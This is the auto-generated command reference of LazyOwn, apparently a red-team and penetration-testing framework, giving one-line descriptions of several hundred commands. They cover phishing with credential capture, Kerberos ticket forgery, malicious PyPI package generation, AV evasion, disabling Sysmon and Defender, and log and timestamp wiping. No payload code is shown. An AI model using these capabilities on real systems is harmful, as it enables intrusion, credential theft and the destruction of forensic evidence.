Phase: uncategorized | Source: cli/commands/containers.py

List Kubernetes pods with security-relevant details.

k8s_secrets

Phase: uncategorized | Source: cli/commands/containers.py

List and decode Kubernetes secrets.

kerberoast

Phase: uncategorized | Source: cli/commands/active_directory.py

Advanced Kerberoasting — AES-only mode, targeted SPN enumeration.

kerberos_ticket

Phase: uncategorized | Source: cli/commands/active_directory.py

Forge Kerberos tickets for persistence and lateral movement.

linux_advanced_payload

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Generate advanced Linux payloads (LD_PRELOAD, eBPF, PAM, kernel module).

llm_budget

Phase: uncategorized | Source: cli/commands/ai.py

Show the LLM daily cost budget, per call token cap, and current spend.

log_tamper

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Cross-platform log clearing commands.

macos_keychain

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Extract secrets from the macOS Keychain.

macos_payload

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Generate macOS payloads (.app bundles, persistence, TCC bypass).

macos_persist

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Generate macOS persistence via LaunchAgent.

macos_tcc

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Generate macOS TCC (Transparency, Consent, Control) bypass.

memory_clean

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Clean memory artifacts — Kerberos tickets, clipboard, env vars, credentials.

mfa_bypass

Phase: uncategorized | Source: cli/commands/cicd.py

Enumerate and test MFA bypass techniques.

mutate_shellcode

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Apply polymorphic mutation to shellcode for signature evasion.

network_opsec

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Network OPSEC — proxy chains, DoH, canary detection, traffic analysis.

opsec

Phase: uncategorized | Source: cli/commands/security.py

Score OPSEC risk for a LazyOwn command before execution.

opsec_score

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Real-time OPSEC risk assessment with contextual action gating (v2).

orchestrate

Phase: uncategorized | Source: cli/commands/orchestration.py

Route a goal through the unified orchestrator and print the result.

package_squat

Phase: uncategorized | Source: cli/commands/supply_chain.py

Generate a malicious PyPI package for dependency confusion.

parquet_query

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Query the parquet knowledge bases (GTFOBins, LOLBas, ATT&CK, sessions).

pentest_report

Phase: uncategorized | Source: cli/commands/reporting.py

Generate a professional penetration test report.

phish_report

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

Show campaign results and captured credentials.

phish_serve

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

Start a lightweight HTTP server for phishing landing pages.

phish_wizard

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

Interactive end-to-end phishing campaign wizard.

pivot_kill

Phase: uncategorized | Source: cli/commands/pivoting.py

Kill all pivot tunnels and clean up.

pivot_proxy

Phase: uncategorized | Source: cli/commands/pivoting.py

Start a local SOCKS proxy through the pivot chain.

pivot_scan

Phase: uncategorized | Source: cli/commands/pivoting.py

Scan internal networks through the current pivot chain.

pivot_status

Phase: uncategorized | Source: cli/commands/pivoting.py

Show the current pivot chain state.

playbook_run

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Execute a generated YAML playbook step by step through the shell.

polymorphic

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Apply polymorphic mutation to shellcode.

rag_query

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Semantic search over session artefacts (scans, logs, notes).

reload_addons

Phase: uncategorized | Source: cli/commands/audit.py

Re-scan lazyaddons/ and plugins/ for changes; reloads what's new.

rotate_aes

Phase: uncategorized | Source: cli/commands/security.py

Generate a new AES key and re-encrypt all sealed credentials.

route

Phase: uncategorized | Source: lazyown.py

Route a natural-language prompt to a LazyOwn tool. Usage: route

saas_enum

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

Enumerate SaaS platforms — M365, Google Workspace, Salesforce, Slack, ServiceNow.

seal_credentials

Phase: uncategorized | Source: cli/commands/security.py

Encrypt all sensitive values in payload.json using AES-256-GCM.

session_state

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Alias of sitrep kept for MCP verb parity (lazyown_session_state).

set

Phase: uncategorized | Source: lazyown.py

Set a parameter — the unified set/assign surface.

shred

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Securely delete files by overwriting before removal.

sleep_configure

Phase: uncategorized | Source: cli/commands/sleep_obfuscation.py

Configure the active sleep obfuscation technique.

sleep_info

Phase: uncategorized | Source: cli/commands/sleep_obfuscation.py

Show detailed information about a sleep obfuscation technique.

sleep_list

Phase: uncategorized | Source: cli/commands/sleep_obfuscation.py

List available sleep obfuscation techniques.

socks_config

Phase: uncategorized | Source: cli/commands/socks_proxy.py

Show or configure the SOCKS5 proxy.

socks_export

Phase: uncategorized | Source: cli/commands/socks_proxy.py

Export SOCKS5 proxy specification for beacon delivery.

socks_sessions

Phase: uncategorized | Source: cli/commands/socks_proxy.py

List active SOCKS proxy sessions.

staged_delivery

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Generate staged delivery artifacts (HTA, VBA, LNK, ISO, VHD).

state_snapshot

Phase: uncategorized | Source: lazyown.py

Show unified StateManager snapshot (DB + JSON caches).

status_bar

Phase: uncategorized | Source: cli/commands/orchestration.py

Inspect, toggle and refresh the prompt status bar.

status_tail

Phase: uncategorized | Source: cli/commands/audit.py

Print live progress from the latest sessions/scan_*.partial file.

sysmon_disable

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Generate commands to disable Windows Sysmon.

threat_model

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Build or inspect the threat model derived from session events.

timeline

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Alias of timeline_browser kept for MCP verb parity (lazyown_timeline).

timestomp

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Manipulate file MACB timestamps to evade forensic timeline analysis.

unseal_credentials

Phase: uncategorized | Source: cli/commands/security.py

Decrypt sealed credential values in payload.json for inspection.

vuln_list

Phase: uncategorized | Source: cli/commands/reporting.py

List discovered vulnerabilities from the sessions database.

wipe_free

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Wipe free disk space to prevent forensic file recovery.

wipe_logs

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Clear system log files on the remote target.

wipe_timeline

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Scrub file timestamps and shell history on the target.

LazyOwn Command Reference

Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.

Table of Contents

• 01. Reconnaissance (38 commands)
• 02. Scanning & Enumeration (74 commands)
• 03. Exploitation (66 commands)
• 04. Post-Exploitation (45 commands)
• 05. Persistence (33 commands)
• 06. Privilege Escalation (16 commands)
• 07. Credential Access (31 commands)
• 08. Lateral Movement (30 commands)
• 09. Data Exfiltration (35 commands)
• 10. Command & Control (28 commands)
• 11. Reporting (26 commands)
• 12. Miscellaneous (169 commands)
• 13. Diagnostics (2 commands)
• Uncategorized (135 commands)

---

01. Reconnaissance

alterx

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'

apache_users

Phase: recon | Source: cli/commands/recon_migrated.py

Performs enumeration of users from a target system using apache-users.

binarycheck

Phase: recon | Source: cli/commands/recon_migrated.py

Performs various checks on a selected binary to gather information and protections.

cve

Phase: recon | Source: cli/commands/recon_migrated.py

Search for a CVE using the CIRCL API.

dig

Phase: recon | Source: cli/commands/recon.py

Executes the dig command to query DNS information.

dnschef

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the DNSChef tool to monitor DNS queries and intercept responses.

dnsenum

Phase: recon | Source: cli/commands/recon.py

Performs DNS enumeration using dnsenum to identify subdomains for a given domain.

dnsmap

Phase: recon | Source: cli/commands/recon.py

Performs DNS enumeration using dnsmap to discover subdomains for a specified domain.

dnstool_py

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the dnstool.py tool to modify Active Directory-integrated DNS records.

estorides_import

Phase: recon | Source: cli/commands/estorides.py

Import Estorides-discovered entities into LazyOwn database and scope.

estorides_loop

Phase: recon | Source: cli/commands/estorides.py

Run the bidirectional Estorides <-> LazyOwn feedback loop.

estorides_seed

Phase: recon | Source: cli/commands/estorides.py

Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.

estorides_surface

Phase: recon | Source: cli/commands/estorides.py

Show the combined active + passive attack surface.

finalrecon

Phase: recon | Source: cli/commands/recon.py

Runs the finalrecon tool to perform a web server vulnerability scan against the specified target host.

getcap

Phase: recon | Source: cli/commands/recon_migrated.py

Retrieve and display file capabilities on the system.

gospider

Phase: recon | Source: cli/commands/recon_migrated.py

Try gospider for web spidering.

graudit

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the graudit command to perform a static code analysis with the specified options.

httprobe

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.

ipinfo

Phase: recon | Source: cli/commands/recon_migrated.py

Retrieves detailed information about an IP address using the ARIN API.

launchpad

Phase: recon | Source: cli/commands/recon_migrated.py

Searches for packages on Launchpad based on the provided search term and extracts codenames from the results. The distribution is extracted from the search term.

metabigor

Phase: recon | Source: cli/commands/recon_migrated.py

Executes Metabigor commands for OSINT and scanning tasks with guided input or predefined arguments.

openssl_sclient

Phase: recon | Source: cli/commands/recon.py

Uses openssl s_client to connect to a specified host and port, allowing for testing and debugging of SSL/TLS connections.

ping

Phase: recon | Source: cli/commands/recon_migrated.py

Perform a ping to check host availability and infer the operating system based on TTL values.

ports

Phase: recon | Source: cli/commands/recon_migrated.py

Lists all open TCP and UDP ports on the local system.

proxy

Phase: recon | Source: cli/commands/recon_migrated.py

Runs a small proxy server to modify HTTP requests on the fly.

recon

Phase: recon | Source: cli/commands/recon_migrated.py

Performs reconnaissance on a specified self.params['domain'] using crt.sh (the target must be visible on internet), pup, httprobe, and EyeWitness.

serveralive2

Phase: recon | Source: cli/commands/recon_migrated.py

Command serveralive2: Uses Impacket to connect to a remote MSRPC interface and retrieves the server bindings.

sherlock

Phase: recon | Source: cli/commands/recon_migrated.py

Executes the Sherlock tool to find usernames across social networks.

sslscan

Phase: recon | Source: cli/commands/recon_migrated.py

Run an SSL scan on the specified remote host.

surface

Phase: recon | Source: cli/commands/recon_migrated.py

Render the network surface graph in the terminal.

tcpdump_capture

Phase: recon | Source: cli/commands/recon_migrated.py

Starts packet capture using tcpdump on the specified interface.

tcpdump_icmp

Phase: recon | Source: cli/commands/recon_migrated.py

Starts tcpdump to capture ICMP traffic on the specified interface.

trace

Phase: recon | Source: cli/commands/recon_migrated.py

Traces the DNS information for a given self.params['domain'] using the FreeDNS service. (using freedns IP Not your IP)

trufflehog

Phase: recon | Source: cli/commands/recon_migrated.py

Executes trufflehog to search for secrets in a given Git repository URL.

tshark_analyze

Phase: recon | Source: cli/commands/recon_migrated.py

Analyzes a packet capture file using tshark based on the provided remote host IP.

waybackmachine

Phase: recon | Source: cli/commands/recon_migrated.py

Fetch URLs from the Wayback Machine for a given website.

whatweb

Phase: recon | Source: cli/commands/recon.py

Performs a web technology fingerprinting scan using whatweb.

windapsearchscrapeusers

Phase: recon | Source: cli/commands/recon_migrated.py

Extracts usernames from a JSON output generated by go-windapsearch and appends them

02. Scanning & Enumeration

ad_ldap_enum

Phase: enum | Source: cli/commands/scan_migrated.py

Executes ad-ldap-enum to enumerate Active Directory objects (users, groups, computers)

allin

Phase: enum | Source: cli/commands/scan_migrated.py

Execute the AlliN.py tool with various scan modes and parameters.

amass

Phase: enum | Source: cli/commands/scan.py

Executes Amass to perform a passive enumeration on a given domain.

arjun

Phase: enum | Source: cli/commands/scan_migrated.py

Executes an Arjun scan on the specified URL for parameter discovery.

arpscan

Phase: enum | Source: cli/commands/scan.py

Executes an ARP scan using arp-scan.

batchnmap

Phase: enum | Source: cli/commands/recon.py

Runs the internal module modules/lazynmap.sh for multiple Nmap scans.

bbot

Phase: enum | Source: cli/commands/scan.py

Executes a BBOT scan to perform various reconnaissance tasks.

blazy

Phase: enum | Source: cli/commands/scan_migrated.py

Command blazy: Installs and runs blazy for multi-vulnerability web application scanning.

bloodhound

Phase: enum | Source: cli/commands/scan_migrated.py

Perform LDAP enumeration using bloodhound-python with credentials from a file.

breacher

Phase: enum | Source: cli/commands/scan_migrated.py

Command breacher: Installs and runs Breacher for finding admin login pages and EAR vulnerabilities.

certipy

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Certipy tool to interact with Active Directory Certificate Services.

certipy_ad

Phase: enum | Source: cli/commands/scan_migrated.py

Run certipy-ad against Active Directory Certificate Services.

changeme

Phase: enum | Source: cli/commands/scan_migrated.py

Executes a changeme scan on a specified target URL or host.

cme

Phase: enum | Source: cli/commands/scan_migrated.py

Execute CrackMapExec (CME) for SMB enumeration and authentication attempts against a target.

davtest

Phase: enum | Source: cli/commands/scan_migrated.py

Tests WebDAV server configurations using davtest.

dirsearch

Phase: enum | Source: cli/commands/scan.py

Runs the dirsearch tool to perform directory and file enumeration on a specified URL.

dmitry

Phase: enum | Source: cli/commands/scan.py

This function constructs and executes a command for the 'dmitry' tool.

enum4linux

Phase: enum | Source: cli/commands/enum.py

Performs enumeration of information from a target Linux/Unix system using enum4linux.

enum4linux_ng

Phase: enum | Source: cli/commands/scan_migrated.py

Performs enumeration of information from a target system using enum4linux-ng.

evil_ssdp

Phase: enum | Source: cli/commands/scan_migrated.py

Runs evil-ssdp with various options and user-selected templates.

feroxbuster

Phase: enum | Source: cli/commands/scan.py

Command feroxbuster: Installs and runs Feroxbuster for performing forced browsing and directory brute-forcing.

finger_user_enum

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the finger-user-enum tool for enumerating users on the target host.

fuzz

Phase: enum | Source: cli/commands/scan_migrated.py

Executes a web server fuzzing script with user-provided parameters.

getnpusers

Phase: enum | Source: cli/commands/enum.py

sudo impacket-GetNPUsers mist.htb/ -no-pass -usersfile sessions/users.txt

gobuster

Phase: enum | Source: cli/commands/scan.py

Uses gobuster for directory and virtual host fuzzing based on provided parameters. Supports directory enumeration and virtual host discovery.

hostdiscover

Phase: enum | Source: cli/commands/scan.py

Discover active hosts in a subnet by performing a ping sweep.

hound

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the hound tool for Hound is a simple and light tool for information gathering and capture exact GPS coordinates

kerbrute

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Kerbrute tool to enumerate user accounts against a specified target self.params['domain'] controller.

lazynmap

Phase: enum | Source: cli/commands/recon.py

Runs the internal module modules/lazynmap.sh with target mode.

ldapdomaindump

Phase: enum | Source: cli/commands/scan_migrated.py

Dumps LDAP information using ldapdomaindump with credentials from a file.

ldapsearch

Phase: enum | Source: cli/commands/scan_migrated.py

Executes an LDAP search against a target remote host (self.params['rhost']) and saves the results.

lookupsid

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Impacket lookupsid tool to enumerate SIDs on a target system.

lookupsid_py

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the LookupSID tool to perform SID enumeration on a target system.

loxs

Phase: enum | Source: cli/commands/scan_migrated.py

Command loxs: Installs and runs Loxs for multi-vulnerability web application scanning.

lynis

Phase: enum | Source: cli/commands/scan_migrated.py

Performs a Lynis audit on the specified remote system.

magicrecon

Phase: enum | Source: cli/commands/scan.py

Command magicrecon: Automates the setup and usage of MagicRecon to perform various types of reconnaissance and vulnerability scanning on specified targets.

mqtt_check_py

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the MQTT check tool to verify credentials on a target system with optional SSL.

nbtscan

Phase: enum | Source: cli/commands/recon.py

Performs network scanning using nbtscan to discover NetBIOS names and addresses in a specified range.

net_rpc_addmem

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the net rpc group addmem command to add a user to a specified group in Active Directory.

netexec

Phase: enum | Source: cli/commands/scan_migrated.py

Executes netexec with various options for network protocol operations.

netview

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Impacket netview tool to list network shares on a specified target.

nikto

Phase: enum | Source: cli/commands/recon.py

Runs the nikto tool to perform a web server vulnerability scan against the specified target host.

nmapscript

Phase: enum | Source: cli/commands/scan.py

Perform an Nmap scan using a specified script and port.

nuclei

Phase: enum | Source: cli/commands/scan.py

Executes a Nuclei scan on a specified target URL or host.

odat

Phase: enum | Source: cli/commands/scan_migrated.py

Command odat: Runs the ODAT sidguesser module to guess Oracle SIDs on a target Oracle database.

openredirex

Phase: enum | Source: cli/commands/scan_migrated.py

Command openredirex: Clones, installs, and runs OpenRedirex for testing open redirection vulnerabilities.

osmedeus

Phase: enum | Source: cli/commands/scan.py

Executes Osmedeus scans with guided input for various scanning scenarios.

parsero

Phase: enum | Source: cli/commands/scan_migrated.py

Executes a parsero scan on a specified target URL or host.

parth

Phase: enum | Source: cli/commands/scan_migrated.py

Command parth: Installs and runs Parth for discovering vulnerable URLs and parameters.

portdiscover

Phase: enum | Source: cli/commands/scan.py

Scan all ports on a specified host to identify open ports.

portservicediscover

Phase: enum | Source: cli/commands/scan.py

Scan all ports on a specified host to identify open ports and associated services.

pre2k

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the pre2k tool to query the self.params['domain'] for pre-Windows 2000 machine accounts or to pass a list of hostnames to test authentication.

pykerbrute

Phase: enum | Source: cli/commands/scan_migrated.py

Command pykerbrute: Automates the installation and execution of PyKerbrute for bruteforcing Active Directory accounts using Kerberos pre-authentication.

rdp_check_py

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the RDP check tool to verify credentials or hash-based authentication on a target system.

rpcclient

Phase: enum | Source: cli/commands/enum.py

Executes the rpcclient command to interact with a remote Windows system over RPC (Remote Procedure Call) using anonymous credentials.

rpcdump

Phase: enum | Source: cli/commands/enum.py

Executes the rpcdump.py script to dump RPC services from a target host.

rpcmap_py

Phase: enum | Source: cli/commands/scan_migrated.py

Command rpcmap_py: Executes rpcmap.py commands to enumerate MSRPC interfaces.

samrdump

Phase: enum | Source: cli/commands/scan_migrated.py

Run impacket-samrdump to dump SAM data from specified ports.

sawks

Phase: enum | Source: cli/commands/scan_migrated.py

Executes the Swaks (Swiss Army Knife for SMTP) tool to send test emails for phishing simulations.

sessionssh

Phase: enum | Source: cli/commands/scan_migrated.py

Execute a command to list active SSH connections.

skipfish

Phase: enum | Source: cli/commands/scan.py

This function executes the web security scanning tool Skipfish

smbattack

Phase: enum | Source: cli/commands/scan_migrated.py

Scans for hosts with SMB service open on port 445 in the specified target network.

smbclient

Phase: enum | Source: cli/commands/enum.py

Interacts with SMB shares using the smbclient command to perform the following operations:

smbclient_impacket

Phase: enum | Source: cli/commands/enum.py

Interacts with SMB shares using the smbclient command to perform the following operations:

smbclient_py

Phase: enum | Source: cli/commands/enum.py

Interacts with SMB shares using the smbclient.py command to perform the following operations:

smbmap

Phase: enum | Source: cli/commands/enum.py

smbmap -H 10.10.10.3 [OPTIONS]

smtpuserenum

Phase: enum | Source: cli/commands/scan_migrated.py

Enumerates SMTP users using the smtp-user-enum tool with the VRFY method.

snmpcheck

Phase: enum | Source: cli/commands/scan_migrated.py

Performs an SNMP check on the specified target host.

snmpwalk

Phase: enum | Source: cli/commands/scan_migrated.py

Performs an SNMP check on the specified target host.

swaks

Phase: enum | Source: cli/commands/scan_migrated.py

Sends an email using swaks (Swiss Army Knife for SMTP).

vscan

Phase: enum | Source: cli/commands/scan.py

Perform port scanning using vscan with the provided parameters.

wfuzz

Phase: enum | Source: cli/commands/recon.py

Uses wfuzz to perform fuzzing based on provided parameters. This function supports various options for directory and file fuzzing.

windapsearch

Phase: enum | Source: cli/commands/scan_migrated.py

Execute the windapsearch tool to perform Active Directory Domain enumeration through LDAP queries.

wpscan

Phase: enum | Source: cli/commands/scan_migrated.py

Command wpscan: Installs and runs WPScan to perform WordPress vulnerability scanning.

03. Exploitation

aclpwn_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the aclpwn.py tool to find and exploit ACL paths for privilege escalation in an Active Directory environment.

adcs_check

Phase: exploit | Source: cli/commands/exploit_migrated.py

Check Active Directory Certificate Services for ESC1-ESC8 vulnerabilities.

addspn_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the addspn.py tool to manage Service Principal Names (SPNs) on Active Directory accounts via LDAP.

auto_pwn

Phase: exploit | Source: cli/commands/pwn.py

Run the full autonomous exploitation chain against the target.

autoblody

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the autobloody tool for automating Active Directory privilege escalation paths.

cacti_exploit

Phase: exploit | Source: cli/commands/exploit_migrated.py

Automates the exploitation of the Cacti version 1.2.26 vulnerability

chain

Phase: exploit | Source: cli/commands/exploit_migrated.py

Run autonomous exploitation chain: recon -> vuln -> exploit -> post-exploit.

commix

Phase: exploit | Source: cli/commands/exploit.py

Runs commix for command injection testing.

cp

Phase: exploit | Source: cli/commands/exploit_migrated.py

Copies a file from the ExploitDB directory to the sessions directory.

createcookie

Phase: exploit | Source: cli/commands/exploit_migrated.py

Creates a cookie.txt file in the sessions directory with the specified cookie value.

createdll

Phase: exploit | Source: cli/commands/exploit_migrated.py

Create a Windows DLL file using MinGW-w64 or a Blazor DLL for Linux.

digdug

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes Dig Dug to inflate the size of an executable file, leveraging pre-configured settings

download_exploit

Phase: exploit | Source: cli/commands/exploit.py

Downloads and sets up an exploit, optionally serving via HTTP.

downloader

Phase: exploit | Source: cli/commands/exploit_migrated.py

Generate a downloader command for files in the sessions directory.

eternal

Phase: exploit | Source: cli/commands/exploit_migrated.py

Automates the EternalBlue (MS17-010) exploitation process using Metasploit.

excelntdonut

Phase: exploit | Source: cli/commands/exploit_migrated.py

Generates an Excel 4.0 (XLM) macro from a provided C# source file using EXCELntDonut.

exploit_chain

Phase: exploit | Source: cli/commands/pwn.py

AI-driven multi-step exploit chaining with fallback strategies.

exploit_recommend

Phase: exploit | Source: cli/commands/exploit_migrated.py

AI-powered exploit recommendation — matches discovered services to CVEs.

filtering

Phase: exploit | Source: cli/commands/exploit_migrated.py

Applies various filtering techniques to the given command line by modifying each character or word appropriately.

gets4uticket_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the gets4uticket.py tool from PKINITtools to request an S4U2Self service ticket using Kerberos.

gettgtpkinit_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the gettgtpkinit.py tool from PKINITtools to request a TGT using Kerberos PKINIT with a PFX or PEM certificate.

greatSCT

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the GreatSCT tool for generating payloads that bypass antivirus and application whitelisting solutions.

img2cookie

Phase: exploit | Source: cli/commands/exploit.py

Generates an XSS payload that steals cookies via an image tag.

jwt_tool

Phase: exploit | Source: cli/commands/exploit_migrated.py

Uses the jwt_tool to analyze, tamper, or exploit JSON Web Tokens (JWTs).

krbrelayx_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the krbrelayx.py tool for Kerberos relaying or unconstrained delegation abuse.

kusa

Phase: exploit | Source: cli/commands/exploit.py

Runs the Kusanagi payload generator.

lazypwn

Phase: exploit | Source: cli/commands/exploit.py

Executes the LazyPwn automated exploitation script.

lfi

Phase: exploit | Source: cli/commands/exploit_migrated.py

Exploits a potential Local File Inclusion (LFI) vulnerability by crafting

lol

Phase: exploit | Source: cli/commands/exploit_migrated.py

Exploits a target by injecting a malicious payload and collecting admin information.

lolbas_use

Phase: exploit | Source: cli/commands/pwn.py

Execute a specific LOLBAS technique.

ms08_067_netapi

Phase: exploit | Source: cli/commands/exploit_migrated.py

SMB CVE-2008-4250. Vulnerable using the module ms08_067_netapi of metasploit

ntpdate

Phase: exploit | Source: cli/commands/exploit_migrated.py

Synchronizes the system clock with a specified NTP server.

owneredit

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the Impacket owneredit tool for manipulating ownership of Active Directory objects.

padbuster

Phase: exploit | Source: cli/commands/exploit_migrated.py

Execute the PadBuster command for padding oracle attacks.

powerserver

Phase: exploit | Source: cli/commands/exploit_migrated.py

This function generates a PowerShell script that retrieves reverse shell over http on a Windows system.

printerbug_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the printerbug.py tool to trigger the SpoolService bug via RPC backconnect.

psexec

Phase: exploit | Source: cli/commands/enum.py

Executes the Impacket PSExec tool to attempt remote execution on the specified target.

psexec_py

Phase: exploit | Source: cli/commands/enum.py

Executes the Impacket PSExec tool to attempt remote execution on the specified target.

py3ttyup

Phase: exploit | Source: cli/commands/exploit_migrated.py

Copies a Python reverse shell command to the clipboard.

pyautomate

Phase: exploit | Source: cli/commands/exploit_migrated.py

Automates the execution of pwntomate tools on XML configuration files.

pyoracle2

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the pyOracle2 tool for performing padding oracle attacks.

pywhisker

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the pyWhisker tool for manipulating the msDS-KeyCredentialLink attribute of a target user or computer.

rejetto_hfs_exec

Phase: exploit | Source: cli/commands/exploit_migrated.py

HttpFileServer version 2.3. Vulnerable using the module rejetto_hfs_exec of metasploit

rev

Phase: exploit | Source: cli/commands/exploit.py

Copies a reverse shell one-liner to the clipboard.

seo

Phase: exploit | Source: cli/commands/exploit_migrated.py

Performs a web seo fingerprinting scan using lazyseo.py.

sharpshooter

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes a payload creation framework for the retrieval and execution of arbitrary CSharp source code.

shellfire

Phase: exploit | Source: cli/commands/exploit_migrated.py

Runs Shellfire with various options and allows generating payloads.

shellshock

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes a Shellshock attack against a target.

sireprat

Phase: exploit | Source: cli/commands/exploit_migrated.py

Command sireprat: Automates the setup and usage of SirepRAT to perform various attacks on a Windows IoT Core device.

sqli

Phase: exploit | Source: cli/commands/exploit_migrated.py

Asks the user for the URL, database, table, and columns, and then executes the Python script

sqli_mssql_test

Phase: exploit | Source: cli/commands/exploit_migrated.py

Initiates a reverse MSSQL shell by starting an HTTP server to handle incoming connections and exfiltrate data.

sqlmap

Phase: exploit | Source: cli/commands/exploit.py

Runs SQLMap against the target URL for SQL injection testing.

sqsh

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the Impacket sqsh tool for manipulating ownership of Active Directory objects.

ss

Phase: exploit | Source: cli/commands/recon.py

Search all exploit sources and map findings to the next LazyOwn command.

sshexploit

Phase: exploit | Source: cli/commands/exploit_migrated.py

Exploits OpenSSH vulnerability CVE-2023-38408 via the PKCS#11 feature of the ssh-agent.

stealth_on

Phase: exploit | Source: cli/commands/pwn.py

Enable stealth mode for subsequent operations.

template_helper_serializer

Phase: exploit | Source: cli/commands/exploit_migrated.py

Handles the creation and serialization of a template helper.

ticketer

Phase: exploit | Source: cli/commands/exploit.py

Runs Impacket ticketer for golden/silver ticket creation.

unicode_WAFbypass

Phase: exploit | Source: cli/commands/exploit_migrated.py

We open a Netcat listener on port 443 and attempt to exploit NodeJS deserialization by sending the

upload_bypass

Phase: exploit | Source: cli/commands/exploit_migrated.py

Command upload_bypass: Automates the installation and execution of Upload_Bypass for performing file upload bypass tests.

utf

Phase: exploit | Source: cli/commands/exploit_migrated.py

Encode a given payload into UTF-16 escape sequences.

winbase64payload

Phase: exploit | Source: cli/commands/exploit_migrated.py

Creates a base64 encoded payload specifically for Windows to execute a PowerShell command or download a file using self.params['lhost'].

wrapper

Phase: exploit | Source: cli/commands/exploit.py

Copies LFI php-wrapper payloads to the clipboard.

www

Phase: exploit | Source: cli/commands/exploit.py

Starts a simple HTTP server on the configured port to serve payloads.

xss

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the XSS (Cross-Site Scripting) vulnerability testing procedure

xsstrike

Phase: exploit | Source: cli/commands/exploit_migrated.py

Command xsstrike: Installs and runs XSStrike for finding XSS vulnerabilities.

04. Post-Exploitation

add2find

Phase: postexp | Source: cli/commands/postexp_migrated.py

Add a new custom command to the 'find' system, saved in user_commands.json.

adversary

Phase: postexp | Source: cli/commands/postexp_migrated.py

LazyOwn RedTeam Adversary Emulator, you can configure your own adversaries in adversary.json

adversary_yaml

Phase: postexp | Source: cli/commands/postexp_migrated.py

Execute adversary from YAML in lazyadversaries/*.yaml

aes_pe

Phase: postexp | Source: cli/commands/postexp_migrated.py

Encrypt with AES and random key to PE EXE file, to usage with loaders.

apt_proxy

Phase: postexp | Source: cli/commands/postexp_migrated.py

Configures the local machine with internet access to act as an APT proxy for a machine without internet access.

apt_repo

Phase: postexp | Source: cli/commands/postexp_migrated.py

Creates a comprehensive local APT repository with enhanced dependency resolution.

atomic_lazyown

Phase: postexp | Source: cli/commands/postexp.py

Execute atomic red-team tests via LazyOwn.

bin2shellcode

Phase: postexp | Source: cli/commands/postexp_migrated.py

Converts a binary file to a shellcode string in C or Nim format.

convert_remcomsvc_from_file

Phase: postexp | Source: cli/commands/postexp_migrated.py

Converts the Python REMCOMSVC byte string from remcomsvc.py to Golang byte slice format, prints a sample, and saves it to sessions/remcomsvc.go. see lazyaddon GoPEInjection

cports

Phase: postexp | Source: cli/commands/postexp_migrated.py

Generates a command to display TCP and UDP ports and copies it to the clipboard.

create_synthetic

Phase: postexp | Source: cli/commands/postexp_migrated.py

Create a basic synthetic playbook from Nmap CSV when LLM fails.

createpayload

Phase: postexp | Source: cli/commands/postexp_migrated.py

Generates an obfuscated payload to evade AV detection using the payloadGenerator tool. thanks to smokeme

d3monizedshell

Phase: postexp | Source: cli/commands/postexp_migrated.py

Executes the D3m0n1z3dShell tool for persistence in Linux.

disableav

Phase: postexp | Source: cli/commands/postexp.py

Create a VBS script to attempt disabling Windows Defender.

exe2bin

Phase: postexp | Source: cli/commands/postexp_migrated.py

Trasnform file .exe into binary file.

exe2donutbin

